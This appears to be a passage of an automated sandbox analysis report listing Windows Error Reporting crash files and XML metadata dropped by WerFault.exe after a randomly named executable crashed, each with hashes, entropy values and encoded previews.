5.-.8.d.d.a.-.4.6.2.c.6.2.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.9.2.3.0.8.4.c.5.2.e.6.d.3.b.5.3.8.2.9.4.8.4.5.8.5.5.d.f.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.P.M.n.A.V.s.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_81a62f5b-6f36-4c12-94b1-65b400da3bdf\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0266432012868925
Encrypted:	false
SSDEEP:	192:LJae1eAIM9Aw0BU/n555KjRJd6TzuiFV9Z24IO8U85S:tz90BU/gjPCzuiFXY4IO8O
MD5:	913F67D9CC0F7079186633B5CBC7645C
SHA1:	5444A280E6B2465037E3989BAE1B923215EF6FC3
SHA-256:	7A6E08229EFF5C5F91D9F42DB8A8123176E92A11E783884E0CDC6CD1D07F8B6E
SHA-512:	96A57DA619C90FE33FD65C01C396B8A838787ED9C3510EEA9679F4FC7DF6DEB4ACCABF9B40C814332CADE3DDAF66B63A456BD41D4B0DBBECCAB27F6DF305CDB1
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.1.0.6.3.2.7.4.6.1.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.1.0.6.6.8.0.5.8.7.0.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.1.a.6.2.f.5.b.-.6.f.3.6.-.4.c.1.2.-.9.4.b.1.-.6.5.b.4.0.0.d.a.3.b.d.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.c.5.b.4.8.f.f.-.5.3.7.7.-.4.1.f.9.-.8.d.b.f.-.a.c.a.1.1.c.8.6.7.0.9.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.P.M.n.A.V.s.j.M.P.u.c.E.R.A.K.E.W.N.F.I.m.y.S.C.F.H.o.L.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.8.d.c.-.0.0.0.1.-.0.0.1.5.-.c.b.d.7.-.5.0.2.c.6.2.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.9.2.3.0.8.4.c.5.2.e.6.d.3.b.5.3.8.2.9.4.8.4.5.8.5.5.d.f.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.P.M.n.A.V.s.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_b252d2bb-bf34-4e1b-83c1-d7794116214c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0264033868549116
Encrypted:	false
SSDEEP:	192:ygghi1eAIMhAw0BU/n555KjRJd6TzuiFV9Z24IO8U85S0:SWzh0BU/gjPCzuiFXY4IO8O
MD5:	7AD3E09D0801127C325EFE40103CDC0E
SHA1:	9CF76CFC77539D76FF7C3A41C857C0ED7EAAD017
SHA-256:	173B004CF0FAB7A882505E43BB8000AC784A46B302FAF9026B0E8E2D3929E7BF
SHA-512:	C05FC3FAEAA1D766EF7C9C773A3F8B7B4AAB20A97A5213EB324323D036C534F677325E17ED2ADB8FF5669C8285E73EEC54BAD1E4D5EC47534426C8F94A5454D3
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.1.0.6.2.2.2.0.4.1.2.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.1.0.6.7.1.2.6.6.7.9.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.2.5.2.d.2.b.b.-.b.f.3.4.-.4.e.1.b.-.8.3.c.1.-.d.7.7.9.4.1.1.6.2.1.4.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.d.d.b.6.b.b.8.-.8.1.7.d.-.4.3.2.4.-.b.b.9.0.-.d.e.b.c.0.d.3.c.1.1.9.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.P.M.n.A.V.s.j.M.P.u.c.E.R.A.K.E.W.N.F.I.m.y.S.C.F.H.o.L.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.c.4.-.0.0.0.1.-.0.0.1.5.-.b.a.0.c.-.5.2.2.c.6.2.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.9.2.3.0.8.4.c.5.2.e.6.d.3.b.5.3.8.2.9.4.8.4.5.8.5.5.d.f.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.P.M.n.A.V.s.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_b6e6a07c-cf9f-4ff0-ab7b-9112b8b1ab5c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.026726200916177
Encrypted:	false
SSDEEP:	192:gUb1eAIMOAw0BU/n555KjRJd6TzuiFGZ24IO8U85SR:HzO0BU/gjPCzuiFGY4IO8O
MD5:	C8453E01694A528C2CD6D237C557D3ED
SHA1:	43E10F51C142B7073929745672215C60E425894C
SHA-256:	F9FBC163789CF995ABE4672CBBD5AC4E9613E7CDCCC191E736ECFC2C142299BD
SHA-512:	89A4A2164C47579D18E1B418F11965E3314942487FBA73034D3EEB4CB4C093C9684FDE3EA9F00538A4E9322435AD8C4E8DC54C1E6540812CDC984AC521F3BA69
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.1.0.7.8.3.7.8.8.4.4.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.1.0.7.9.8.0.0.7.4.9.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.6.e.6.a.0.7.c.-.c.f.9.f.-.4.f.f.0.-.a.b.7.b.-.9.1.1.2.b.8.b.1.a.b.5.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.b.1.5.e.b.b.4.-.8.2.1.6.-.4.6.a.8.-.9.4.5.d.-.4.c.b.8.e.c.3.e.e.9.0.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.P.M.n.A.V.s.j.M.P.u.c.E.R.A.K.E.W.N.F.I.m.y.S.C.F.H.o.L.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.0.0.-.0.0.0.1.-.0.0.1.5.-.2.7.6.0.-.4.0.2.c.6.2.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.9.2.3.0.8.4.c.5.2.e.6.d.3.b.5.3.8.2.9.4.8.4.5.8.5.5.d.f.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.P.M.n.A.V.s.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_bd421862-c048-47e7-8961-b36d6722e827\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0264168793242494
Encrypted:	false
SSDEEP:	192:PA+b1eAIMzAw0BU/n555KjRJd6TzuiFV9Z24IO8U85S:pJzz0BU/gjPCzuiFXY4IO8O
MD5:	913A07147E78FC8C6992AD8E38F453B6
SHA1:	EC90529ED7843067092B459FFB60093F468DE149
SHA-256:	17A719FF9FCDF2BB83A9C9F6E442000472DA8EA8B94AFABCA99443AAC20B2D3D
SHA-512:	1DE75B502CED6CF4401A673191D53CFD4073D9B4F009CA137A267C88E5C2609523566196EE241655B56638791F6565015C063347CAB586050DCE72851C8C0E24
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.1.0.7.3.2.6.6.7.7.2.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.1.0.7.5.0.9.4.8.9.6.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.d.4.2.1.8.6.2.-.c.0.4.8.-.4.7.e.7.-.8.9.6.1.-.b.3.6.d.6.7.2.2.e.8.2.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.c.f.4.9.0.9.4.-.7.6.5.2.-.4.5.1.6.-.9.9.e.8.-.a.2.d.9.0.1.e.c.8.a.1.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.P.M.n.A.V.s.j.M.P.u.c.E.R.A.K.E.W.N.F.I.m.y.S.C.F.H.o.L.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.b.8.4.-.0.0.0.1.-.0.0.1.5.-.9.d.a.f.-.4.2.2.c.6.2.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.9.2.3.0.8.4.c.5.2.e.6.d.3.b.5.3.8.2.9.4.8.4.5.8.5.5.d.f.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.P.M.n.A.V.s.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_da895416-cc81-4c00-a2aa-6062ad4d5b65\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0260564046548317
Encrypted:	false
SSDEEP:	192:Wxp1eAIMNAw0BU/n555KjRJdSTzuiFV9Z24IO8U85S:QzN0BU/gjPKzuiFXY4IO8O
MD5:	A9401B9A81206013078EC5DD199C2230
SHA1:	B538858BCB511CC0C51D279CB638D24D83EB0236
SHA-256:	33D41E54EBFC66288619538D8BDAA9158E4A3CD08B0312AB9E186BDF0F9B83B6
SHA-512:	990F9FEC42699DE0B9469FD5DA7948C9526C52095ED64C2A25557315B85524D1F8F98AEE8C3F090E131BEF3F8CC4F1A60E09E6FEEBB881FC6EA9A3A15305DFEB
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.1.0.6.5.1.5.3.1.1.4.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.1.0.6.7.7.0.0.0.0.1.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.a.8.9.5.4.1.6.-.c.c.8.1.-.4.c.0.0.-.a.2.a.a.-.6.0.6.2.a.d.4.d.5.b.6.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.2.8.4.c.7.d.8.-.d.1.b.9.-.4.f.5.1.-.8.0.8.0.-.1.a.e.1.2.6.9.6.2.a.2.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.P.M.n.A.V.s.j.M.P.u.c.E.R.A.K.E.W.N.F.I.m.y.S.C.F.H.o.L.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.9.0.-.0.0.0.1.-.0.0.1.5.-.0.6.b.2.-.4.f.2.c.6.2.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.9.2.3.0.8.4.c.5.2.e.6.d.3.b.5.3.8.2.9.4.8.4.5.8.5.5.d.f.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.P.M.n.A.V.s.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_f83fa7a2-468d-4afd-af75-1f47fcbfc966\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0263187127252367
Encrypted:	false
SSDEEP:	192:KcZ1eAIMlAw0BU/n555KjRJd6TzuiFV9Z24IO8U85Sk:zzl0BU/gjPCzuiFXY4IO8Ok
MD5:	3E0EB7002E19A244A1F910345E270613
SHA1:	2DABCC233AFD62BAA570A2BB37595F0F69BB5EC6
SHA-256:	7390B095DD0B6C297F4D2022AE273073CE5B820E4EEEFCAE9E14B1E7352003FB
SHA-512:	2245D1DFCCC8CA401CB0690EFD3B0F2C9E3949F9A803DA403DF3ED277485CFAADE86E5E9CD8E0C29AC7E35C84703C1125A4E0D2307BC6BD69016B185B43C7E17
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.1.0.7.5.6.7.1.4.9.5.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.1.0.7.6.9.8.3.9.8.3.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.8.3.f.a.7.a.2.-.4.6.8.d.-.4.a.f.d.-.a.f.7.5.-.1.f.4.7.f.c.b.f.c.9.6.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.9.4.b.4.a.4.7.-.a.d.e.9.-.4.f.9.6.-.b.3.3.c.-.d.d.9.b.f.2.2.f.1.f.8.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.P.M.n.A.V.s.j.M.P.u.c.E.R.A.K.E.W.N.F.I.m.y.S.C.F.H.o.L.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.5.8.-.0.0.0.1.-.0.0.1.5.-.a.6.9.3.-.4.1.2.c.6.2.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.9.2.3.0.8.4.c.5.2.e.6.d.3.b.5.3.8.2.9.4.8.4.5.8.5.5.d.f.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.P.M.n.A.V.s.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER10E5.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8442
Entropy (8bit):	3.7138145799843034
Encrypted:	false
SSDEEP:	192:R6l7wVeJjR96U6Y2D5SU9wgmf+KLprRG89bSEsfWdGm:R6lXJ/6U6YUSU9wgmf9nPS3f4
MD5:	5AD8648C5D05298360A10E0460ABE5DF
SHA1:	919A10A8B79DCD3E13BEF96586D1D9CFC4688E5D
SHA-256:	7718A1D65C5BF096E2D6934A59B13D3775F688DF5252684F3E9A65FD45A05A7C
SHA-512:	6EC9BD11C150D02764EECCAD531022889D27335603AB78F16753E0AB33DBBC1AB7227CB8BB1A1B626461742AF951E6DAF032997B8ED3B10F828078088FCB0A52
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.2.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1124.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.601731616735406
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9RuWpW8VYO8Ym8M4Jw1GFB+q8rCFMTmsd:uIjfZI77P7VNJwkPmTmsd
MD5:	20A2BB451F5A9EFC27781BFE8153765E
SHA1:	603D746EF86D5A94FBD08721F096A9E0FE6C4867
SHA-256:	729E20719808F0B9F48EF25229E0859A1C7B5ACC4941E0E7B6E11F0DCB855CA9
SHA-512:	100C6D477F7B3A0706AAA01A38E14E1C4F18C5D162967E5A3FFF25372D98427AF85EE2B971DA73CB61AC8FD6302701643CDE74765C9E0E2C39BA004648971986
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583733" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER120E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8440
Entropy (8bit):	3.712694264492118
Encrypted:	false
SSDEEP:	192:R6l7wVeJ0RN6EXB+D6Y2DRSU9Ngmf+KLpry89bS0sfT9Gm:R6lXJw6B6YcSU9Ngmf9NSnfh
MD5:	37199D195A6429D7FD7DD26C46C3513E
SHA1:	90C3BCBC0067C76A8F5549DA456987B86DD1D2DE
SHA-256:	16813703EE48C7983F84011630E727AD63D2B3E4C1A3E314576B48E56EFE5939
SHA-512:	6438BEB230259CECCF5FB2E0C13C82CA815D0939FC1F85248ADBEE0BE7E0D2AA3CE869A9D3D362FB0CD0591A06C06E8636B9295F9163B7BD8A44F74248DAB3E0
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.2.2.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER126D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.600078484550648
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9RuWpW8VYO4Ym8M4Jw1GFL+q8rKFMTm3d:uIjfZI77P7VBJw2PmTm3d
MD5:	82B715B27AF88E6FC58B301E83E7D1D7
SHA1:	C558C7A6AE2A770DB789D927E1DF3E8CD6E98DE7
SHA-256:	DF9E5BD5B663509BEA3CCB75FFA6B16BB19FA1DA67F754EB946C51B47382BCEA
SHA-512:	9F874DE6EBD9109724FCB1C703AC894138EE1C38959CEA8395647D851C38B87773B089F7274F1CBD11926B6B6A4806A3717D99AAF794522A0A5AD8F60299099F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583733" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1625.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8446
Entropy (8bit):	3.715405769269068
Encrypted:	false
SSDEEP:	192:R6l7wVeJ/RC68Po6Y2D5SU9Cgmf+KLpruq89bnbxsf/Njm:R6lXJc6r6YESU9Cgmf9MnbqfV6
MD5:	79AA07BAFEAA5F67A541B46620497B76
SHA1:	B7EB5496C738DFB6E1A28AB482584BD4D40446FF
SHA-256:	A4FB5C00BF4AFFBF870524845AA3993D8893F581E4C84578DAFDCF1A223ACA90
SHA-512:	CD5647E73779EF48F18873AD97F96DD9076C9CDD52C449059297B4B9B8F9604BDBEDEF41B9C382819F0C5B05D17436D024403C1BBCFBA1A7D8DC74250CA80F74
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.7.2.<./.P.i.

